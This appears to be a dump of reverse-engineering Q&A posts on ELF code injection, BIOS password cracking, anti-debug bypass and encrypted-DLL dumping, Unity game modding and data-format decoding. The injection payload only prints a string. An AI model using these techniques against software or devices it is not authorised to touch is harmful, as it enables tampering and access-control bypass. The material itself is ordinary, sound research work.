0 0 1 [27] .comment PROGBITS 0000000000000000 00003010 000000000000002a 0000000000000001 MS 0 0 1 [28] .symtab SYMTAB 0000000000000000 00003040 0000000000000618 0000000000000018 29 46 8 [29] .strtab STRTAB 0000000000000000 00003658 0000000000000202 0000000000000000 0 0 1 [30] .shstrtab STRTAB 0000000000000000 0000385a 000000000000011a 0000000000000000 0 0 1 </code></pre> <pre><code>Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000002d8 0x00000000000002d8 R E 0x8 INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318 0x000000000000001c 0x000000000000001c R E 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x00000000000005f8 0x00000000000005f8 R E 0x1000 LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000 0x00000000000001f5 0x00000000000001f5 R E 0x1000 LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000 0x0000000000000160 0x0000000000000160 R E 0x1000 LOAD 0x0000000000002db8 0x0000000000003db8 0x0000000000003db8 0x0000000000000258 0x0000000000000260 RWE 0x1000 DYNAMIC 0x0000000000002dc8 0x0000000000003dc8 0x0000000000003dc8 0x00000000000001f0 0x00000000000001f0 RWE 0x8 NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338 0x0000000000000020 0x0000000000000020 R E 0x8 NOTE 0x0000000000000358 0x0000000000000358 0x0000000000000358 0x0000000000000044 0x0000000000000044 R E 0x4 GNU_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338 0x0000000000000020 0x0000000000000020 R E 0x8 GNU_EH_FRAME 0x0000000000002014 0x0000000000002014 0x0000000000002014 0x0000000000000044 0x0000000000000044 R E 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RWE 0x10 GNU_RELRO 0x0000000000002db8 0x0000000000003db8 0x0000000000003db8 0x0000000000000248 0x0000000000000248 R E 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt 03 .init .plt .plt.got .plt.sec .text .fini 04 .rodata .eh_frame_hdr .eh_frame 05 .init_array .fini_array .dynamic .got .data .bss 06 .dynamic 07 .note.gnu.property 08 .note.gnu.build-id .note.ABI-tag 09 .note.gnu.property 10 .eh_frame_hdr 11 12 .init_array .fini_array .dynamic .got </code></pre> <p>As can be seen, section .fini starts at <code>11e8</code> and has the size of <code>d</code>. The next section - .rodata starts at <code>2000</code>. Does that mean that the space between <code>11e8 + d</code> and <code>2000</code> does not belong to any section? That segment also ends at <code>11F5</code>, which is the end of last section belonging to it - <code>.fini</code>.</p> <p><strong>EDIT 3:</strong> managed to solve the problem - had to choose the section, that belongs to the executable segment. Still a bit confused about the sizes of sections.</p> <p>Actually managed to inject the code into the binary, however, I got the instructions from an assembly, which only has <code>.text</code> section:</p> <pre><code>.text .globl _start _start: #save the base pointer pushq %rbp pushq %rbx mov %rsp,%rbp #write syscall = 1 movq $1, %rax #print to stdout movq $1, %rdi #9 character long string movq $9, %rdx # push &quot;INJECTED\n&quot; to the stack movq $0x0a, %rcx pushq %rcx movq $0x44455443454a4e49, %rcx pushq %rcx movq %rsp, %rsi syscall #remove the string pop %rcx pop %rcx movq $0, %rax movq $0, %rdi movq $0, %rdx pop %rbx pop %rbp ret </code></pre> <p>It prints &quot;INJECTED&quot; before the original program execution. While this kind of payload works, what are other ideas of implementing better and actually usable injector? Maybe with the possibility of calling <code>libc</code> functions or some other library functions, that are linked by our victim binary? Because it seems like getting actual instruction from the code, we would like to inject, is kind of pain in the ass.</p>
ELF binary injection
|linux|c|gdb|elf|injection|
<p>The data are floating point encoded on 32 bits Little_endian<BR> byte 0 to 3: 00 00 00 00 = 0 channel number<BR> byte 4 to 7: 1f 85 a3 41 = 0x41a3851f = 20.4400005341<BR> etc ..<BR> <a href="https://www.h-schmidt.net/FloatConverter/IEEE754.html" rel="nofollow noreferrer">https://www.h-schmidt.net/FloatConverter/IEEE754.html</a></p>
26401
2020-12-01T12:00:49.803
<p>I'm trying to decode <code>.PLW</code> data acquired by a temperature logger (<a href="https://www.picotech.com/download/manuals/usb-pt104-rtd-data-logger-programmers-guide.pdf" rel="nofollow noreferrer">PicoLog PT-104</a>).</p> <p>If you convert the <code>.PLW</code> file to a <code>.txt</code> file through the official software you get something like this:</p> <p><a href="https://i.stack.imgur.com/dkwwS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dkwwS.png" alt="enter image description here" /></a></p> <p>where each row has single temperature measurements across the 20 channels available to the device. I would like to extract the data directly from the <code>.PLW</code>, file without having to convert it to <code>.txt</code> first.</p> <p>By opening the <code>.PLW</code> file in a hex editor, I have managed to isolate with a bit of tweaking the section which seems to contain the raw data measurements:</p> <p><a href="https://i.stack.imgur.com/8Bv8J.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8Bv8J.png" alt="hex_dump" /></a></p> <p>The first 4 hexes contain the row index. And should be read in the reversed column order <code>03 02 01 00</code>.</p> <p>There are then the 20 groups of 4 columns, one for each channel. Assuming all groups should be read right to left (given that was the case for the index columns), they all seem to begin with <code>0x41</code> which might maybe be some kind of encoding for the tab character (or similar).</p> <p>The next hex in each chunk (so the one just before the <code>0x41</code>) seems to be mapping at least to some approximate way the temperature read in that channel:</p> <ul> <li>Hex -&gt; TEMP</li> <li><code>0x50 -&gt; 13</code></li> <li><code>0xa0, 0xa1, 0xa2, 0xa3 -&gt; 20</code></li> <li><code>0xa4, 0xa5, 0xaa, 0xab -&gt; 21</code></li> <li><code>0xac, 0xae, 0xb0 -&gt; 22</code></li> </ul> <p>And the order of the channels also seems to match the order of the columns in the <code>.txt</code> file: for example channel 8 in the <code>.txt</code> file has an outlier temperature at <code>13</code> --&gt; which is also present in the 8th data column in the <code>.PLW</code> file, where the <em>temperature</em> hex is set to <code>0x50</code></p> <p>Would anyone be able to crack the mapping between the hex values in each chunk to the final temperature measurement displayed in the <code>.txt</code> file?</p> <p>Or does anyone know of an encoding where <code>0x41</code> would correspond to a tab-like character? Thanks!</p>
Decoding Hex Data
|decryption|hex|
<p>This is one method to do it.</p> <pre><code>from ghidra.program.util import DefinedDataIterator from ghidra.app.util import XReferenceUtil for string in DefinedDataIterator.definedStrings(currentProgram): for ref in XReferenceUtil.getXRefList(string): print(string, ref) </code></pre> <p>There are alternative <a href="https://ghidra.re/ghidra_docs/api/ghidra/program/util/DefinedDataIterator.html" rel="nofollow noreferrer"><code>definedStrings</code></a> iterators and other ways to use <a href="https://ghidra.re/ghidra_docs/api/ghidra/app/util/XReferenceUtil.html" rel="nofollow noreferrer"><code>XReferenceUtil</code></a> in the docs.</p>
26414
2020-12-02T17:37:02.690
<p>In Ghidra, there is <code>Defined Strings</code> window, that lists all the strings in the binary and their location.</p> <p>I want to access the strings from Ghidra Python, and to get all the x-refs to those strings.</p> <p>Any ideas on how is it possible to access this string info from Ghidra Python?</p>
Ghidra python - get string x-refs in a binary
|ghidra|python|
<p>ARM7 cores use classic architecture with the exception vectors at the start of the binary (usually mapped at 0), so you can start with the defaults, start disassembling and if the addresses look wrong, rebase the image afterwards.</p>
26415
2020-12-02T18:45:09.443
<p>I have binary file for the LPC2378FBD144 processor ineed to reverse engineer it using IDA V7.3 im little confused about memory organization values i should put in the memory organization thank you for your help :) here the data sheet for the processor <a href="https://www.nxp.com/docs/en/data-sheet/LPC2377_78.pdf" rel="nofollow noreferrer">https://www.nxp.com/docs/en/data-sheet/LPC2377_78.pdf</a></p> <p><a href="https://i.stack.imgur.com/UcIDT.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UcIDT.png" alt="enter image description here" /></a></p>
LPC2378FBD144 Arm7 hex file
|decompilation|arm|hexrays|ida-plugin|
<p>You should use UEFITool to analyze the dump. The modules themselves are not encrypted and can be extracted and disassembled using any standard tool supporting PE binaries.</p> <p>The BIOS password implementation differs from platform to platform. In the easy case it would be somewhere in the NVRAM area on the same SPI flash, possibly obfuscated.</p> <p>In the difficult case it could be stored in or checked by a separate chip such as the EC (embedded controller) and you would have to dump and RE it too.</p> <p>There was a good talk on cracking the password for Toshiba laptops which was using the latter approach:</p> <p><a href="https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Hacking-Toshiba-Laptops.pdf" rel="nofollow noreferrer">https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Hacking-Toshiba-Laptops.pdf</a></p>
26418
2020-12-02T19:13:29.380
<p>I am playing with a dump I made from a serial flash containing the BIOS of a ultra portable whose BIOS is protected by a password. I am trying to find the password or patch the routine which check the password.</p> <p>Using <code>binwalk</code> I got the following result. I have search for strings containing 'password' but found nothing... So I think code is inside the mcrypt portion ...</p> <p>Do you have idea what I can eventually do now to continue my journey??</p> <p><a href="https://i.stack.imgur.com/1Uyr7.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1Uyr7.png" alt="enter image description here" /></a></p>
How to get PI UEFI binary when mcrypt is used?
|binwalk|bios|uefi|
<p>To add to Igor's excellent reply. Unfortunately IDA Pro up until now does not handle TMS320C6 properly. TI DSP common pattern for the calls is to load up call address into 32 bit register and do the register branching (it has direct branching with immediate offsets as well but compiler seems to use it only for local branches within the function). IDA seems to handle only immediate branches and not the register calls. There are a number fo other issues (like IDA not handling ADDKPC properly or not working properly with TI produced COFF files in big endian format). The most important one is that return from a function call is also implemented as branching command which is indistinguishable (in theory) from call to a function and uses register sp IDA Pro analysis of the assembly would generally stoop at the first register branching and declare it end of function after branching point occurs if there are no more subsequent instructions to that.</p> <p>I encountered that when I was working on reversing Kodak camera firmware that uses TI DSP and written patch to IDA TMS320C6 CPU module - see here <a href="https://github.com/Alexey-Danilchenko/Kodak-DCS-Tools/tree/master/sources/IDA/DSP/processor" rel="nofollow noreferrer">https://github.com/Alexey-Danilchenko/Kodak-DCS-Tools/tree/master/sources/IDA/DSP/processor</a></p> <p>That is not perfect still during CPU analysis stage so that Github archive has plugins as well to perform function call discovery and substitution in MVK/MVKH commands) as well as DP offset substitution.</p>
26428
2020-12-03T08:07:39.840
<p>Recently I work on TMS320C6xx Arch and when I reverse this firmware I saw functions graph nodes are separated. I have shown in below:</p> <p><a href="https://i.stack.imgur.com/6IrZD.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6IrZD.png" alt="all of these nodes belong to one function" /></a></p> <p>As you see, <strong>BRANCH OCCURS</strong> wrote at the end of each node. I guess this is the reason of separation.<br /> <strong>1- How I can correct this problem?</strong><br /> <strong>2- what is the problem? Explanation if possible</strong></p> <p>Thanks in advance.</p>
BRANCH OCCURS in IDApro
|ida|disassembly|firmware|
<p>This appears to be a fixed-point (rather than a floating-point) format.</p> <p>If you treat the 64-bit values as signed integers and divide by 4398046511104.0, you will get the decimal values you show.</p> <p>e.g. the following will print -9999</p> <pre><code>#include &lt;iostream&gt; #include &lt;cstdint&gt; int main() { int64_t x = 0xFF63C40000000000LL; double y = x / 4398046511104.0; std::cout &lt;&lt; y &lt;&lt; std::endl; } </code></pre>
26452
2020-12-06T10:40:30.857
<p>I'm in the process of reverse engineering a USB driver, and I'm having problems finding a way to decode the binary representation of double values. The values don't seem to be encoded in IEEE-754 format.</p> <p>Do you have any suggestions on how these values should be decoded? Below, I included a couple of example double values and their corresponding binary representation.</p> <p>Thanks for your help!</p> <pre><code>1.0: 0000 0000 0000 0000 0000 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 2.0: 0000 0000 0000 0000 0000 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 3.0: 0000 0000 0000 0000 0000 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 4.0: 0000 0000 0000 0000 0001 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 5.0: 0000 0000 0000 0000 0001 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 -1.0: 1111 1111 1111 1111 1111 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 -2.0: 1111 1111 1111 1111 1111 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 -3.0: 1111 1111 1111 1111 1111 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 -4.0: 1111 1111 1111 1111 1111 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 -5.0: 1111 1111 1111 1111 1110 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 -0.1: 1111 1111 1111 1111 1111 1111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 -1.1: 1111 1111 1111 1111 1111 1011 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 -2.2: 1111 1111 1111 1111 1111 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0100 -3.3: 1111 1111 1111 1111 1111 0010 1100 1100 1100 1100 1100 1100 1100 1100 1100 1101 -4.4: 1111 1111 1111 1111 1110 1110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0111 -5.5: 1111 1111 1111 1111 1110 1010 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 1.1: 0000 0000 0000 0000 0000 0100 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 1.2: 0000 0000 0000 0000 0000 0100 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 1.3: 0000 0000 0000 0000 0000 0101 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 1.4: 0000 0000 0000 0000 0000 0101 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 1.5: 0000 0000 0000 0000 0000 0110 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 1.6: 0000 0000 0000 0000 0000 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 1.7: 0000 0000 0000 0000 0000 0110 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 1.8: 0000 0000 0000 0000 0000 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 1.9: 0000 0000 0000 0000 0000 0111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 -9999.0: 1111 1111 0110 0011 1100 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 </code></pre>
Encoding of 64-bit double
|encodings|usb|float|
<p>Looks like it's just addition for the checksum, so nice job on that.</p> <p>The mystery byte is part of the checksum.</p> <p>The accumulator is 2 bytes.</p> <pre><code>data = &quot;&quot;&quot;0000AAAAAA7E00201075000000075FC76F4F0105C8 0000AAAAAA7E00201075000000875FC77BED210712 0000AAAAAA7E00201075000000885FC77BFF010705&quot;&quot;&quot;.strip().split(&quot;\n&quot;) import struct for i,l in enumerate(data): xs = bytes.fromhex(l) body = xs[:-2] xsum = xs[-2:] v = 187 for b in body: v+=b print(&quot;msg&quot;,i,&quot;body&quot;,body.hex(),&quot;checksum&quot;,xsum.hex(),&quot;calcxsum&quot;,struct.pack(&quot;&gt;H&quot;,v).hex()) </code></pre> <p>Run:</p> <pre><code>$ python3 xsumtest.py msg 0 body 0000aaaaaa7e00201075000000075fc76f4f01 checksum 05c8 calcxsum 05c8 msg 1 body 0000aaaaaa7e00201075000000875fc77bed21 checksum 0712 calcxsum 0712 msg 2 body 0000aaaaaa7e00201075000000885fc77bff01 checksum 0705 calcxsum 0705 </code></pre>
26453
2020-12-06T11:23:13.973
<p>I'm a newbie, so I'm asking for your help.</p> <p>I have to decode dumped data from an appliance because I wanted to try understand the data.</p> <p>The data are in this format and some information are known:</p> <p>7E 00 20 10 75 00 00 00 07 5F C7 6F 4F 01 <strong>05</strong> C8 .. .. .. (some other bytes that are the same for each packet)</p> <p>7e = <strong>start framing</strong> (Does not change)</p> <p>20 = <strong>length of packet</strong> (Does not change)</p> <p>10 75 = <strong>packet type</strong> (Does not change)</p> <p>00 00 00 07 = <strong>incremental number</strong>, when it reach 00 00 00 FF, the next is 00 00 01 00 when checksum is failed the appliance retries with same number.</p> <p>5F C7 6F 4F <strong>hex timestamp</strong> (unix timestamp converted in hexadecimal)</p> <p>01 <strong>ALTERNATING VALUE</strong> 01 or 21 (this value alternate on each received packet)</p> <p>05 <strong>MISTERY BYTE</strong>, i'll explain later</p> <p>C8 checksum calculated with the sum of incremental number plus hex timestamp, then mod 256 and subtracted with 0x03 when the alternating value is 21 or 0x23 when alternating value is set to 01. When the resulting value is negative you have to discard all FF FF and take the last byte.</p> <p>The problem is the mistery byte.</p> <p>At first glance seems to be:</p> <p>When last byte of timestamp is greather than checksum, the mistery byte is: 06, else is 05. But sometimes this value is &quot;07&quot;</p> <p>Here another example:</p> <p>7E 00 20 10 75 00 00 00 08 5F C7 71 73 21 <strong>06</strong> 0F .. .. ..</p> <p>checksum calculation method: 00 + 00 + 00 + 08 + 5F + C7 + 71 = 0x212 (decimal 530)</p> <p>530 mod 256 = 18</p> <p>decimal 18 to hex = 12</p> <p>because the alternating value is 21, i have to subtract 0x3 -&gt; 12 - 0x03 = checksum = 0F</p> <p>now the last byte of checksum 73 is greather than 0F so the result of mistery byte seems correct to be 06</p> <p>the problem comes when mistery field is sometimes 07. I think that this value is not merely a comparing with last byte of timestamp with checksum, but i missed something.</p> <p>7E 00 20 10 75 00 00 00 87 5F C7 7B ED 21 <strong>07</strong> 12</p> <p>7E 00 20 10 75 00 00 00 88 5F C7 7B FF 01 <strong>07</strong> 05</p> <p>Here some other example that seems 06 alternate with 07:</p> <p>7E 00 20 10 75 00 00 00 D0 5F C7 80 89 01 <strong>06</strong> DC</p> <p>7E 00 20 10 75 00 00 00 D1 5F C7 80 8F 21 <strong>07</strong> 03</p> <p>7E 00 20 10 75 00 00 00 D2 5F C7 80 95 01 <strong>06</strong> EA</p> <p>7E 00 20 10 75 00 00 00 D3 5F C7 80 96 21 <strong>07</strong> 0C</p> <p>7E 00 20 10 75 00 00 00 D4 5F C7 80 9B 01 <strong>06</strong> F2</p> <p>but soon there are 07 for a lot of rows</p> <p>7E 00 20 10 75 00 00 00 D9 5F C7 80 A9 21 <strong>07</strong> 25</p> <p>7E 00 20 10 75 00 00 00 DA 5F C7 80 AA 01 <strong>07</strong> 07</p> <p>7E 00 20 10 75 00 00 00 DB 5F C7 80 AA 21 <strong>07</strong> 28</p> <p>some examples with &quot;05&quot; mistery byte.</p> <p>7E 00 20 10 75 00 00 01 09 5F C7 82 00 21 <strong>05</strong> AF</p> <p>7E 00 20 10 75 00 00 01 0A 5F C7 82 05 01 <strong>05</strong> 95</p> <p>7E 00 20 10 75 00 00 01 0B 5F C7 82 26 21 <strong>05</strong> D7</p> <p>7E 00 20 10 75 00 00 01 0C 5F C7 82 2C 01 <strong>05</strong> BE</p> <p>Any clue of what this mistery byte is used for?</p>
Decoding algorithm with checksum
|disassembly|decryption|crc|dumping|memory-dump|
<p>Since local variables are usually placed on the stack in <code>x86</code> and <code>esp</code> register can change during function execution, it is more convenient to save the value of <code>esp</code> register on function entry and access data relatively to that value. <code>ebp</code> register is used for this purpose. So you will often see</p> <pre><code>push ebp mov ebp, esp </code></pre> <p>lines at the begining of functions. In the example you have provided it is the case - all local variables are accessed this way, through <code>ebp</code>.</p> <p>Now, there are two different naming conventions for local variables:</p> <ul> <li>first and more natural one: if <code>[ebp - xxx]</code> is accessed, it will be displayed as <code>[ebp + local_xxx]</code>. Here, <code>local_xxx = -xxx</code>, so for instance, <code>local_18 = -0x18</code>.</li> <li>second and less intuitive one makes use of the <code>esp</code> value at the beginning of a function. In your example, two dwords are pushed on the stack before <code>mov ebp, esp</code> line. It means, that if some local variable was called <code>local_xxx</code> in the first convention, in the second one it will be named <code>local_xxx+0x8</code>, for instance <code>local_18</code> in the first one will be <code>local_20</code> in the second one, used by Ghidra.</li> </ul> <p>Why do we add <code>0x8</code> in the second one? Because two dwords (<code>8</code> bytes) were pushed onto the stack before <code>esp</code> value was saved into <code>ebp</code> and in <code>x86</code> architecture stack &quot;grows downwards&quot;, which means if you push something onto it, this value will be saved there and <code>esp</code> will be <em>decreased</em> accordingly (in this case, twice, by <code>4</code> bytes). So, in your particular example, you have the instruction</p> <pre><code>mov DWORD PTR [ebp-0xc],0x80a6b19 </code></pre> <p>which would be displayed as</p> <pre><code>mov DWORD PTR [ebp+local_c],0x80a6b19 </code></pre> <p>in the first convention and</p> <pre><code>mov DWORD PTR [ebp+local_14],0x80a6b19 </code></pre> <p>in the second one, implemented in Ghidra, since <code>0xc + 0x8 = 0x14</code>.</p>
26456
2020-12-06T13:28:03.020
<p>Attached is the part of a disassembled main from a x86 binary file, generated by ghidra.</p> <pre><code> ************************************************************** * FUNCTION * ************************************************************** undefined main(undefined1 param_1) undefined AL:1 &lt;RETURN&gt; XREF[1]: 0804835e(W) undefined1 Stack[0x4]:1 param_1 XREF[1]: 08048309(*) undefined4 EAX:4 str_in XREF[1]: 0804835e(W) undefined4 Stack[0x0]:4 local_res0 XREF[1]: 08048310(R) undefined4 Stack[-0x10]:4 local_10 XREF[6]: 08048358(R), 08048363(W), 0804836d(R), 08048388(R), 08048393(W), 0804839d(R) undefined4 Stack[-0x14]:4 local_14 XREF[2]: 0804831a(W), 08048366(R) undefined4 Stack[-0x18]:4 local_18 XREF[2]: 08048321(W), 08048396(R) undefined4 Stack[-0x2c]:4 local_2c XREF[3]: 08048369(W), 08048399(W), 080483ac(W) undefined4 Stack[-0x30]:4 local_30 XREF[12]: 08048328(*), 08048334(*), 08048340(*), 0804834c(*), 0804835b(*), 08048370(*), 0804837c(*), 0804838b(*), 080483a0(*), 080483b4(*), 080483c2(*), 080483d0(*) main XREF[2]: Entry Point(*), _start:08048167(*) 08048309 8d 4c 24 04 LEA ECX=&gt;param_1,[ESP + 0x4] 0804830d 83 e4 f0 AND ESP,0xfffffff0 08048310 ff 71 fc PUSH dword ptr [ECX + local_res0] 08048313 55 PUSH EBP 08048314 89 e5 MOV EBP,ESP 08048316 51 PUSH ECX 08048317 83 ec 24 SUB ESP,0x24 0804831a c7 45 f4 MOV dword ptr [EBP + local_14],DAT_080a6b19 = 6Ah j 19 6b 0a 08 08048321 c7 45 f0 MOV dword ptr [EBP + local_18],s_the_ripper_080a6b1e = &quot;the ripper&quot; 1e 6b 0a 08 </code></pre> <p>Same code from gdb</p> <pre><code> 0x08048309 &lt;+0&gt;: lea ecx,[esp+0x4] 0x0804830d &lt;+4&gt;: and esp,0xfffffff0 0x08048310 &lt;+7&gt;: push DWORD PTR [ecx-0x4] 0x08048313 &lt;+10&gt;: push ebp 0x08048314 &lt;+11&gt;: mov ebp,esp 0x08048316 &lt;+13&gt;: push ecx 0x08048317 &lt;+14&gt;: sub esp,0x24 =&gt; 0x0804831a &lt;+17&gt;: mov DWORD PTR [ebp-0xc],0x80a6b19 </code></pre> <p>Why is ghidra changeing <code>[ebp-0xc]</code> to <code>[EBP + local_14]</code>. Similar question I found is <a href="https://reverseengineering.stackexchange.com/questions/23540/ghidra-interpreting-stack-pointers-wrongly">Ghidra interpreting stack pointers wrongly</a> but reading the answer, I'm not getting the meaning of <code>[EBP + local_14]</code> Here, is ghidra just renaming <code>-0xc</code> to a easily readable name like <code>local_14</code>? I'm not getting how to make sense of this exactly.</p> <p>In the function header, it is shown that <code>Stack[-0x10]:4 local_10</code>. I assume it means that <code>local_10</code> is 4 byte variable at Stack[-0x10], where Stack is the stack pointer upon entry to function. But why is it added to ebp. What's the meaning of that representation used by ghidra?</p>
Correct way to understand local_ in ghidra disassembly
|disassembly|binary-analysis|x86|gdb|ghidra|
<p>Refer below link someone added support for version 84 in his forked repo</p> <p><a href="https://github.com/niosega/hbctool/tree/draft/hbc-v84" rel="nofollow noreferrer">hbc-v84</a></p>
26463
2020-12-06T23:31:42.357
<p>Since React Native 0.60.4 developers can opt-in to use the <a href="https://reactnative.dev/docs/hermes" rel="nofollow noreferrer">Hermes JS Engine</a>. This generates an <code>index.android.bundle</code> binary that contains Hermes JS bytecode.</p> <p>The Hermes <a href="https://github.com/facebook/hermes/blob/master/doc/BuildingAndRunning.md#other-tools" rel="nofollow noreferrer">documentation</a> mentions <code>hbcdump</code> which is described as a &quot;Hermes bytecode disassembler&quot;</p> <p>By using <code>hbcdump -pretty-disassemble -c disassemble -out out.txt index.android.bundle</code> I do get something that is at least a little more human readable but it does not look like it can be compiled back again and is not easy to work with.</p> <p>How can I decompile Hermes JS bytecode into JavaScript?<br/> Alternatively: How can I modify the bytecode? Is there a tool that understands this bytecode?</p>
How can I modify or decompile Hermes JS bytecode?
|decompilation|javascript|decompile|byte-code|
<p><a href="https://man7.org/linux/man-pages/man2/mmap.2.html" rel="nofollow noreferrer">https://man7.org/linux/man-pages/man2/mmap.2.html</a></p> <p>Relevant section pertaining to the <code>flags</code> argument (emphasis added):</p> <blockquote> <p>MAP_ANONYMOUS: The mapping is not backed by any file; its contents are initialized to zero. <strong>The fd argument is ignored; however, some implementations require fd to be -1 if MAP_ANONYMOUS (or MAP_ANON) is specified, and portable applications should ensure this.</strong> The offset argument should be zero. The use of MAP_ANONYMOUS in conjunction with MAP_SHARED is supported on Linux only since kernel 2.4.</p> </blockquote> <p>While this seems like a likely explanation, it isn't a 100% guarantee on its own. You could find further proof by looking at the headers for the system you're REing to confirm that <code>MAP_ANONYMOUS</code> is indeed being used as part of the flags.</p>
26473
2020-12-07T20:41:12.620
<p>I am reversing a binary using Ghidra. In the disassembled output, I have the following lines in the main function:</p> <pre><code>(code *)mmap((void *)0x0,0x55,7,0x22,-1,0) </code></pre> <p>I am quite confused here since the file descriptor appears to be -1 and I remember reading that file descriptors should be non-negative.</p> <p>Can someone please tell me what I am missing here?</p>
mmap with file descriptor -1 in disassembled output
|ghidra|
<ol> <li><p>You can disassemble GameAssembly.dll with GHIDRA, IDA or any other disassembler that supports x86. Decompilation is also available but nowhere near as with dnSpy because code is not C# anymore. It is C++ and you will need GHIDRA or IDA Pro if you have it to get best code decompilation.</p> </li> <li><p>You cannot inject managed assemblies into the compiled GameAssembly.dll. But...</p> </li> </ol> <p>If game has moved on to IL2CPP you cannot simply edit the files anymore. You have 2 options to achieve your goal since you still have managed assemblies:</p> <p>C# - Use BepInEx IL2CPP loader or similar and simply write a &quot;plugin&quot; (DLL written in C# code) which will execute in the game AppDomain and get you what you want. BepInEx comes with everything needed for a fast deployment and development since there are examples that will get you up and running in minutes. Use Reflection for maximum profit.</p> <p>C++ - Reverse Engineer GameAssembly.dll. Some tools to consider: IL2CppDumper for dumping the methods prototypes from GameAssembly.dll, IL2CppInspector to also dump but with some options on how you want it dumped. You can also make IDA\GHIDRA scripts to apply to GameAssembly database. And you could also look at Il2CppAssemblyUnhollower. Very important to learn how to cast some data types and such.</p> <p>First option is much easier especially since you have access to old managed code (Assembly-CSharp.dll) and you can look up the source in dnspy.</p> <p>Second option is a bit advanced and you will not get source code and you will have to use C++ and Read\Write into the process memory manually but as said but it is a good way to get familiar with IL2CPP because not every game\project will have managed assemblies for you to see the source code.</p>
26478
2020-12-08T13:54:21.537
<p>I've been looking into reverse engineering a game developped with Unity 2017.4.10, to find a way to get a freely controlled camera. I found the values that interest me in Managed/Assembly-CSharp.dll and figured out how to modify them with dnSpy, however any changes to this dll don't have any effect in-game. Using VMMap told me the game doesn't load the Assembly-CSharp.dll at all, and I assume the code for the game is in UnityPlayer.dll. That dll seems to be obfuscated, since dnSpy is unable to read it beyond hex.</p> <p>My question is two-fold:</p> <ol> <li>Is there a way to decompile UnityPlayer.dll in a more readable way?</li> <li>Is it perhaps possible to inject the successfully modified Assembly-CSharp.dll into the game to replace functions loaded from UnityPlayer.dll?</li> </ol>
Modifying UnityPlayer.dll with dnSpy or other
|decompilation|game-hacking|
<p>Instead of trying to dump the encrypted executable, it may be better to just monitor the API calls at runtime using something like <a href="http://www.rohitab.com/apimonitor" rel="nofollow noreferrer">Rohitab API Monitor</a>. This is usually the easiest approach in cases where you can get the executable to run the code of interest. It also gives you the address of the calling code and call stack information, which you can then look at in your debugger in order to get a better idea of what's happening around the call site.</p> <p>If you do need to dump the decrypted binary from memory, take a look at <a href="https://github.com/glmcdona/Process-Dump" rel="nofollow noreferrer">Process Dump</a>. You can target the running process after the DLL decryption process has been completed and it'll produce a reconstructed PE file. It's also pretty good at recovering PEs that have been mangled in memory by anti-debug and anti-dumping tricks.</p>
26481
2020-12-08T15:22:37.013
<p>I have an executable with 2 .dll calls 1 of this dll is guard.dll others name is guardlib.dll both of them is encrypted c++ library file and they are called before executable entry point.</p> <p>I can bypass anti-debug with x32dbg and now Δ± want to extract decrypted dll with debugger is that possible</p> <p>Also this dlls are creating HWID with apΔ± calls and registery keys (I think) Is there a way to have a look at what registry keys are looking for?</p> <p>If anyone wants to help me please contact me :)</p>
how can Δ± debug encrypted dll with x32dbg and look getregistery request
|debugging|c++|dll|x64dbg|
<p>In fact this is not as β€œtrivial” as one might think.</p> <p>However there was a plug-in submitted to this year’s plug-in contest that <em>might</em> work:</p> <p><a href="https://www.hex-rays.com/contests_details/contest2020/#ida_medigate" rel="nofollow noreferrer">https://www.hex-rays.com/contests_details/contest2020/#ida_medigate</a></p> <p><a href="https://github.com/medigate-io/ida_medigate" rel="nofollow noreferrer">https://github.com/medigate-io/ida_medigate</a></p>
26487
2020-12-09T04:23:34.140
